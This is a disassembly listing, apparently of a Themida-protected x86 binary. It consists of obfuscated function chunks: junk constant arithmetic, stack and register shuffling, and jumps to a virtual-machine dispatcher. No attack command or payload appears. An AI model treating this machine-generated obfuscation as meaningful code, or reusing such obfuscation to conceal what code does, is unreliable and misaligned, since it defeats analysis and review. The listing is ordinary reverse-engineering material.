loc_58644C:				; CODE XREF: sub_58E761+13j
		pop	esi
		add	eax, ebx
		push	[esp-4+arg_0]
		jmp	loc_58AB20
; END OF FUNCTION CHUNK	FOR sub_58E761
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586457:				; CODE XREF: sub_585452+1DDCj
		pop	eax
		jmp	loc_58DE00
; ---------------------------------------------------------------------------


loc_58645D:				; CODE XREF: sub_585452+A6F9j
		push	edx
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], ecx
		push	0FEDh
		mov	[esp+4Eh+var_50+2], esi
		mov	esi, 14CA1265h
		and	esi, 63121600h
		not	esi
		not	esi
		neg	esi
		add	esi, 10031E1Ch
		mov	ecx, esi
		pop	esi
		and	ecx, 1EF157EDh
		shl	ecx, 3
		and	ecx, 16E67AB4h
		xor	ecx, 7BF442D5h
		mov	edx, ecx
		pop	ecx
		jmp	loc_585443
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585350


loc_5864A6:				; CODE XREF: sub_585350+7DB8j
		mov	bl, ch
		pop	ecx
		mov	eax, [esp+8+var_8]
		add	esp, 4
		mov	[edi+eax*4], bl
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585350
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_5864C4:				; CODE XREF: sub_58F728-3EBEj
		mov	edx, 31803748h
		mov	ebx, 3180374Ch
		sub	ebx, edx
		jmp	loc_58B622
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_5864D5:				; CODE XREF: sub_58EFBD-A16j
		xor	eax, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		jmp	loc_588B84
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
		push	esi
		jmp	loc_58ABF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5864E6:				; CODE XREF: sub_585452+37Dj
		pop	esp
		push	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+36h+var_38+2]
		pop	esp
		mov	[esp+32h+var_34+2], esp
		add	[esp+32h+var_34+2], 4
		jmp	loc_58C668
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586507:				; CODE XREF: Themida_:0058DD01j
		mov	[esp], edx
		jmp	loc_584513
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58650F:				; CODE XREF: sub_585452+90F7j
		mov	bl, 4Ch
		jmp	loc_58F968
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B758


loc_586516:				; CODE XREF: sub_58B758-B1Aj
		mov	edx, 0
		sub	edx, 4CC430D8h
		add	edx, ebx
		add	edx, 4CC430D8h
		add	dword ptr [edx], 1
		pop	edx
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		pop	ecx


loc_58653A:				; CODE XREF: sub_58622C+4EDBj
		push	4003h
		mov	[esp-8+arg_4], ebx
		xor	[esp-8+arg_4], 7B9D447Fh
		jmp	loc_58CCEB
; END OF FUNCTION CHUNK	FOR sub_58B758
; ---------------------------------------------------------------------------


loc_58654E:				; CODE XREF: Themida_:0058C50Fj
		push	2C8Eh
		mov	[esp], ebp
		mov	ebp, 22677B2Ah
		push	ebx
		mov	ebx, 0B750BE7h
		and	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		dec	ebp
		push	eax
		jmp	loc_58E184
; ---------------------------------------------------------------------------


loc_586573:				; CODE XREF: Themida_:0058E8C4j
		push	ecx
		push	5B2C62D9h
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	esi
		mov	esi, 464E4EA1h
		sub	esi, 704E2640h
		push	edx
		mov	edx, 7B022EF7h
		or	edx, 28285624h
		shl	edx, 2
		xor	edx, 50FA298Eh
		not	edx
		inc	edx
		sub	edx, 0E72A26D1h
		sub	esi, edx
		jmp	loc_58EA5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5865BD:				; CODE XREF: sub_585452+67BFj
		shr	[esp+32h+var_34+2], cl
		pushf
		jmp	loc_58F294
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_589795
; ---------------------------------------------------------------------------


loc_5865DB:				; CODE XREF: Themida_:00583D84j
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		jmp	loc_587A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5865E7:				; CODE XREF: sub_585452+94j
		mov	edx, [esp+6+var_8+2]
		add	esp, 4
		mov	edx, [esp+2+var_4+2]
		sub	esp, 4
		mov	[esp+6+var_8+2], ebx
		push	esp
		pop	ebx
		jmp	loc_58A409
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5756


loc_586600:				; CODE XREF: sub_5B5756-31B23j
		mov	word ptr [esp+28h+var_2A+2], cx
		mov	ch, 0A5h
		jmp	loc_583E3D
; END OF FUNCTION CHUNK	FOR sub_5B5756
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58660B:				; CODE XREF: sub_585452+7Ej
		mov	ebp, 56E4614h
		xor	eax, ebp
		jmp	loc_58928D
; ---------------------------------------------------------------------------


loc_586617:				; CODE XREF: sub_585452+7139j
		or	esi, eax
		mov	eax, [esp+0Eh+var_10+2]
		add	esp, 4
		or	esi, 3F96276Ch
		push	eax
		mov	eax, 793E09D0h
		sub	eax, 9ACA18EEh
		xor	esi, eax
		pop	eax
		mov	ebp, esi
		jmp	loc_588E06
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_58663A:				; CODE XREF: sub_587574+4B07j
		pop	ecx
		jmp	loc_58AA7F
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A26F


loc_586640:				; CODE XREF: sub_58A26F+Cj
		sub	ebp, 22665B05h
		jmp	loc_58AD9C
; END OF FUNCTION CHUNK	FOR sub_58A26F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_58664B:				; CODE XREF: sub_589967+4E9Cj
		pop	esi
		xchg	ebp, [esp-8+arg_4]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_589967

; =============== S U B	R O U T	I N E =======================================



sub_586650	proc near		; CODE XREF: sub_58F728-6462j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005844C0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00587D14 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058A2F5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058A9CC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058E19D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E251 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058F6C0 SIZE 00000008 BYTES

		push	ebx
		push	edx
		push	11E74E8Dh
		jmp	loc_5844C0
sub_586650	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_58665C:				; CODE XREF: sub_58C230+9Fj
		add	esp, 4
		push	esi
		jmp	loc_587D3A
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586668:				; CODE XREF: sub_585452+8BEEj
		pop	ebx
		push	ebx
		mov	bh, dh
		not	bh
		mov	dh, bh
		pop	ebx
		add	dh, 0CFh
		jmp	loc_584A63
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586679:				; CODE XREF: Themida_:0058876Cj
		push	ebx
		push	edx
		mov	edx, 639504E0h
		not	edx
		push	eax
		mov	eax, 42FD7E99h
		add	edx, eax
		pop	eax
		and	edx, 689F6618h
		neg	edx
		sub	edx, 8C194A3Ch
		jmp	loc_58D184
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E1AF


loc_58669E:				; CODE XREF: sub_58E1AF-437Ej
		add	esp, 4
		pop	[esp-4+arg_0]
		pop	esp
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_58E1AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5866AA:				; CODE XREF: sub_585452+9087j
		pop	ebp
		jmp	loc_588629
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5866B0:				; CODE XREF: Themida_:0058A219j
		mov	bl, 1Eh
		jmp	loc_58E079
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_5866B7:				; CODE XREF: sub_589967-120Dj
		add	ebp, 37A0770Ch
		pop	ebx
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		and	eax, edx
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_58EF52
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5866D4:				; CODE XREF: sub_585452+62Ej
		xchg	esi, [esp+4Ah+var_4C+2]
		pop	esp
		mov	[esp+46h+var_48+2], edi
		jmp	loc_589F2F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589FD5


loc_5866E0:				; CODE XREF: sub_589FD5+5D9Bj
		add	edi, eax
		pop	eax
		jmp	loc_588443
; END OF FUNCTION CHUNK	FOR sub_589FD5
; ---------------------------------------------------------------------------


loc_5866E8:				; CODE XREF: Themida_:00584D8Cj
		sub	esp, 4
		jmp	loc_587046
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5866F3:				; CODE XREF: sub_585452+3ED5j
		shl	ecx, 3
		jmp	loc_58F20B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5866FB:				; CODE XREF: Themida_:00586C9Cj
		mov	eax, [esp]
		jmp	loc_58672B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589FD5


loc_586703:				; CODE XREF: sub_589FD5-28F1j
		add	ebp, 4
		xchg	ebp, [esp-8+arg_4]
		pop	esp
		xchg	edi, [esp-0Ch+arg_8]
		pop	esp
		mov	[esp+0], edx
		push	ebp
		push	5F794207h
		mov	ebp, [esp-8+arg_4]
		add	esp, 4
		or	ebp, 5A9876BCh
		jmp	loc_587E3C
; END OF FUNCTION CHUNK	FOR sub_589FD5
; ---------------------------------------------------------------------------


loc_58672B:				; CODE XREF: Themida_:005866FEj
		add	esp, 4
		sub	dh, bl
		pop	ebx
		add	al, 9Eh
		add	al, dh
		sub	al, 9Eh
		pop	edx
		push	small 97Ch
		mov	[esp], dx
		jmp	loc_58FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E761


loc_586748:				; CODE XREF: sub_58E761-3228j
		push	esp
		push	[esp+4+var_4]
		mov	esi, [esp+8+var_8]
		jmp	loc_58DF87
; END OF FUNCTION CHUNK	FOR sub_58E761
; ---------------------------------------------------------------------------


loc_586754:				; CODE XREF: Themida_:0058D128j
		xor	ebp, 14A47AC4h
		jmp	loc_58AA06
; ---------------------------------------------------------------------------


loc_58675F:				; CODE XREF: Themida_:0058C7DCj
		sub	dh, bl
		add	dh, 5Fh
		jmp	loc_58CFB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A170


loc_586769:				; CODE XREF: sub_58A170+188Cj
		push	4694h
		mov	[esp+0], ecx
		mov	cl, 0D7h
		inc	cl
		and	cl, 3
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	bh, 0D1h
		jmp	loc_5874AA
; END OF FUNCTION CHUNK	FOR sub_58A170
; ---------------------------------------------------------------------------


loc_586785:				; CODE XREF: Themida_:0058B0DCj
		mov	ch, 42h
		sub	esp, 2
		mov	[esp], ax
		push	ebx
		mov	bl, 0C9h
		mov	ah, 9Bh
		sub	ah, bl
		pop	ebx
		and	ah, 0B2h
		jmp	loc_585C2D
; ---------------------------------------------------------------------------


loc_5867A1:				; CODE XREF: Themida_:0058BC25j
		add	ecx, 35B1FDA1h
		add	ebp, 0FA74594h
		sub	ebp, ecx
		sub	ebp, 0FA74594h
		pop	ecx
		not	ebp
		add	ebp, 4322F7B8h
		sub	eax, 319F6102h
		add	eax, ebp
		add	eax, 319F6102h
		push	dword ptr [esp]
		jmp	loc_58FE4D
; ---------------------------------------------------------------------------


loc_5867D2:				; CODE XREF: Themida_:00589F4Ej
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_58A9AA
; ---------------------------------------------------------------------------


loc_5867E4:				; CODE XREF: Themida_:0058743Fj
		mov	ebx, 4C4A6CD5h
		mov	edx, 0CE8E9463h
		add	edx, ebx
		jmp	loc_585381
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DA2E


loc_5867F5:				; CODE XREF: sub_58DA2E-6D8Cj
		mov	ah, 0F9h
		push	ebx
		mov	bh, 0A5h
		inc	bh
		shr	bh, 3
		not	bh
		shl	bh, 5
		add	bh, 0A3h
		add	ah, bh
		jmp	loc_58B402
; END OF FUNCTION CHUNK	FOR sub_58DA2E
; ---------------------------------------------------------------------------


loc_58680E:				; CODE XREF: Themida_:0058AF91j
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5845FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58682C:				; CODE XREF: sub_585452+9104j
		xchg	eax, [esp+46h+var_48+2]
		jmp	loc_58D19D
; ---------------------------------------------------------------------------


loc_586834:				; CODE XREF: sub_585452+4D80j
		xor	ecx, [esp+46h+var_48+2]
		xor	[esp+46h+var_48+2], ecx
		xor	ecx, [esp+46h+var_48+2]
		jmp	loc_58B608
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586842:				; CODE XREF: Themida_:0058F772j
		div	cx
		push	ebx
		push	esp
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_588C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5886E0


loc_586858:				; CODE XREF: sub_5886E0+27B3j
		mov	esi, 65C83358h
		inc	esi
		or	esi, 36B32421h
		dec	esi
		add	esi, 70A139B3h
		neg	esi
		sub	esi, 0FB1D5B4Eh
		jmp	loc_589CDA
; END OF FUNCTION CHUNK	FOR sub_5886E0
; ---------------------------------------------------------------------------


loc_586878:				; CODE XREF: Themida_:005877C9j
		pop	eax
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		push	ebp
		mov	ebp, 4
		add	edx, 7366104Ah
		sub	edx, 3F7C1BE9h
		add	edx, ebp
		add	edx, 3F7C1BE9h
		sub	edx, 7366104Ah
		pop	ebp
		sub	esp, 4
		jmp	loc_58D5C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_5868AB:				; CODE XREF: sub_58EFBD-4050j
		push	5E6Bh
		mov	[esp-4+arg_0], esi
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, 6F2C0D7Bh
		mov	esi, ecx
		pop	ecx
		jmp	loc_58A382
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5868C9:				; CODE XREF: sub_585452+2E87j
		add	edx, esi
		add	edx, 101D74D6h
		jmp	loc_587628
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5868D6:				; CODE XREF: Themida_:0058DC6Fj
		pop	ecx
		not	ebx
		jmp	loc_58959D
; ---------------------------------------------------------------------------


loc_5868DE:				; CODE XREF: Themida_:0058A131j
		and	edi, 74374A5Eh
		jmp	loc_58E63C
; ---------------------------------------------------------------------------


loc_5868E9:				; CODE XREF: Themida_:00587224j
		add	edx, 285C42A7h
		sub	edx, 732214BFh
		push	ebx
		mov	ebx, 5BD12689h
		add	ebx, 64F84389h
		shl	ebx, 5
		jmp	loc_58489E
; ---------------------------------------------------------------------------


loc_586909:				; CODE XREF: Themida_:0058C915j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	3BF8h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_585F5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58691E:				; CODE XREF: sub_585452+5553j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+46h+var_48+2]
		mov	esp, [esp+46h+var_48+2]
		jmp	loc_58E7C7
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BE98


loc_586935:				; CODE XREF: sub_58BE98+351Fj
		sub	edi, 0FC1FDC94h
		mov	edx, edi
		mov	edi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_584433
; END OF FUNCTION CHUNK	FOR sub_58BE98
; ---------------------------------------------------------------------------


loc_58694B:				; CODE XREF: Themida_:00584E6Dj
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_586956:				; CODE XREF: Themida_:00586E6Aj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_5848BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_586971:				; CODE XREF: sub_58999B+358Aj
		pop	ebx
		add	ebx, eax
		pop	eax
		jmp	loc_58FE24
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C92B


loc_58697A:				; CODE XREF: sub_58C92B-86E4j
		dec	ebx
		jmp	loc_58473D
; END OF FUNCTION CHUNK	FOR sub_58C92B
; ---------------------------------------------------------------------------


loc_586980:				; CODE XREF: Themida_:005875AAj
		sub	ebp, 350D16CEh
		add	ebp, 5C76968h
		inc	ebp
		add	ebp, 185FA5A7h
		add	edx, ebp
		pop	ebp
		jmp	loc_586D72
; ---------------------------------------------------------------------------


loc_58699B:				; CODE XREF: Themida_:00584279j
		mov	eax, 75C01476h
		or	eax, 385D3411h
		sub	eax, 0C4910F8h
		shr	eax, 7
		jmp	loc_58CA63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5869B2:				; CODE XREF: sub_585452+674Dj
		add	esp, 4
		push	ecx
		mov	ecx, 792D4E69h
		dec	ecx
		sub	ecx, 65640BCEh
		shr	ecx, 3
		add	ecx, 0D1EF2DCEh
		sub	edx, ecx
		jmp	loc_58F777
; ---------------------------------------------------------------------------


loc_5869D2:				; CODE XREF: sub_585452-CDCj
		mov	[esp+0], ebx
		jmp	loc_58BA71
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_5869DA:				; CODE XREF: sub_587574+318Ej
		mov	edi, 5E5D386Ah
		shl	edi, 5
		add	edi, 3C2F4F05h
		sub	eax, edi
		pop	edi
		add	eax, edi
		push	2407h
		jmp	loc_58FB27
; ---------------------------------------------------------------------------


loc_5869F7:				; CODE XREF: sub_587574+85BBj
		add	eax, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		mov	dword ptr [eax], 1
		pop	eax
		push	ebx
		mov	ebx, 26FC5689h
		mov	[edi+24h], ebx
		pop	ebx
		xor	[edi+24h], edx
		xor	edx, [edi+24h]
		xor	[edi+24h], edx
		neg	edx
		xchg	edx, [edi+24h]
		jmp	loc_58840E
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------


loc_586A26:				; CODE XREF: Themida_:0058FE4Ej
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_583C20

; =============== S U B	R O U T	I N E =======================================



sub_586A34	proc near		; CODE XREF: sub_585452+6F81j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005840B1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058523A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005881C2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058985A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058B9C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058C03C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C706 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058D532 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DABD SIZE 00000014 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 5DCB3DFBh
		mov	eax, ebx
		jmp	loc_58523A
sub_586A34	endp

; ---------------------------------------------------------------------------


loc_586A49:				; CODE XREF: Themida_:00584EFAj
		push	ecx
		mov	ecx, 3C0F6D8Eh
		jmp	loc_589460
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586A54:				; CODE XREF: sub_585452+9391j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586A60:				; CODE XREF: Themida_:00587302j
		push	0E95h
		mov	[esp], edx
		push	eax
		mov	eax, 600F426Ch
		xor	eax, 24E4B83Eh
		push	eax
		sub	dword ptr [esp], 34FC7425h
		pop	edx
		add	edx, 34FC7425h
		pop	eax
		mov	edi, edx
		jmp	loc_584F85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586A8A:				; CODE XREF: sub_585452+273Dj
		push	eax
		push	edx
		mov	dl, 19h
		jmp	loc_584EAD
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		push	esp
		pop	edi
		push	3957h
		mov	[esp], ebx
		mov	ebx, 4
		add	edi, 35EE5CD9h
		add	edi, ebx
		sub	edi, 35EE5CD9h
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5895D6
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_586ACE:				; CODE XREF: Themida_:0058F54Fj
		add	eax, 22314055h
		add	eax, esi
		jmp	loc_588606
; ---------------------------------------------------------------------------


loc_586ADA:				; CODE XREF: Themida_:00589910j
		pop	edx
		jmp	loc_589867
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 7AE2h
		mov	[esp], ax
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_586AF1:				; CODE XREF: Themida_:0058CAACj
		mov	ecx, esp
		push	eax
		jmp	loc_5849A4
; ---------------------------------------------------------------------------


loc_586AF9:				; CODE XREF: Themida_:005894BAj
		mov	[esp], ebx
		jmp	loc_5853AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DEA3


loc_586B01:				; CODE XREF: sub_58DEA3-8CC8j
		push	20CDh
		mov	[esp], edx
		jmp	loc_587712
; END OF FUNCTION CHUNK	FOR sub_58DEA3

; =============== S U B	R O U T	I N E =======================================



sub_586B0E	proc near		; CODE XREF: sub_585452+1C9Bj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058AD8B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058DEF5 SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	loc_58DEF5
sub_586B0E	endp

; ---------------------------------------------------------------------------


loc_586B1C:				; CODE XREF: Themida_:0058B199j
		mov	[esp], edi
		mov	edi, 25333428h
		mov	eax, 529E2B63h
		add	eax, edi
		pop	edi
		jmp	loc_58F661
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_586B3B:				; CODE XREF: sub_587574+23BDj
		xchg	eax, edx
		neg	edx
		xchg	eax, edx
		or	eax, 46AA68A1h
		jmp	loc_58F5F0
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------


loc_586B49:				; CODE XREF: Themida_:00587394j
		mov	edx, 4
		add	eax, edx
		jmp	loc_589A18
; ---------------------------------------------------------------------------


loc_586B55:				; CODE XREF: Themida_:0058520Bj
		mov	esp, [esp]
		add	esp, 4
		inc	dword ptr [esp]
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_586B67:				; CODE XREF: sub_58FA66+204j
		xor	[esp-4+arg_0], ecx
		xor	ecx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ecx
		jmp	loc_58FDEC
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586B75:				; CODE XREF: sub_585452-D86j
		add	ecx, esi
		pop	esi
		push	ecx
		push	[esp+arg_0]
		pop	ecx
		jmp	loc_58B28C
; ---------------------------------------------------------------------------


loc_586B83:				; CODE XREF: sub_585452-4ACj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-0Ah+arg_4+2]
		jmp	loc_589915
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586B94:				; CODE XREF: Themida_:0058428Dj
		pop	edx
		add	edi, 4
		jmp	loc_58586C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586B9D:				; CODE XREF: sub_585452+AB2Ej
		mov	[esp-0Ah+arg_4+2], ebp
		mov	ebp, 78424D59h
		inc	ebp
		sub	ebp, 0FD7710FBh
		jmp	loc_589BA3
; ---------------------------------------------------------------------------


loc_586BB1:				; CODE XREF: sub_585452-928j
		push	edi
		pop	edx
		mov	edi, [esp+0]
		add	esp, 4
		or	edx, 2B312FAh
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		inc	edx
		jmp	loc_58DA3F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586BCB:				; CODE XREF: Themida_:0058ECD6j
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_589CF3
		push	ecx
		push	5908h
		mov	[esp], edx
		mov	edx, 0FEh
		push	edi
		mov	edi, edx
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		and	[edi+1Ch], ecx
		jmp	loc_58E5E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586C13:				; CODE XREF: sub_585452+64E6j
		mov	dh, 0E8h
		and	dh, 4Bh
		or	dh, 0D2h
		push	ebx
		mov	bh, 0BAh
		add	bh, 0FFh
		jmp	loc_5875E4
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586C26:				; CODE XREF: Themida_:00586D9Dj
		pop	dword ptr [esp]
		pop	esp
		xor	[esp], ax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_586C34:				; CODE XREF: Themida_:00586E54j
		sub	ebx, 7D2254F7h
		shl	ebx, 6
		inc	ebx
		push	ebx
		push	esi
		pop	ebx
		pop	esi
		jmp	loc_58F06C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586C47:				; CODE XREF: sub_585452+75j
		mov	bh, 9Dh
		jmp	loc_58BD67
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586C4E:				; CODE XREF: Themida_:0058B9F1j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_585CBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BCA7


loc_586C5C:				; CODE XREF: sub_58BCA7-588Fj
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp+0]
		sub	esp, 4
		jmp	loc_584255
; END OF FUNCTION CHUNK	FOR sub_58BCA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586C6F:				; CODE XREF: sub_585452+38CAj
		push	3C94h
		mov	[esp+0Eh+var_10+2], esi
		mov	esi, 0DBB71E7h
		jmp	loc_58E55B
; ---------------------------------------------------------------------------


loc_586C81:				; CODE XREF: sub_585452+70A1j
		push	599Dh
		jmp	loc_58DBE5
; ---------------------------------------------------------------------------


loc_586C8B:				; CODE XREF: sub_585452+7CE1j
		push	[esp+12h+var_14+2]
		pop	edx
		jmp	loc_587FF0
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58960C


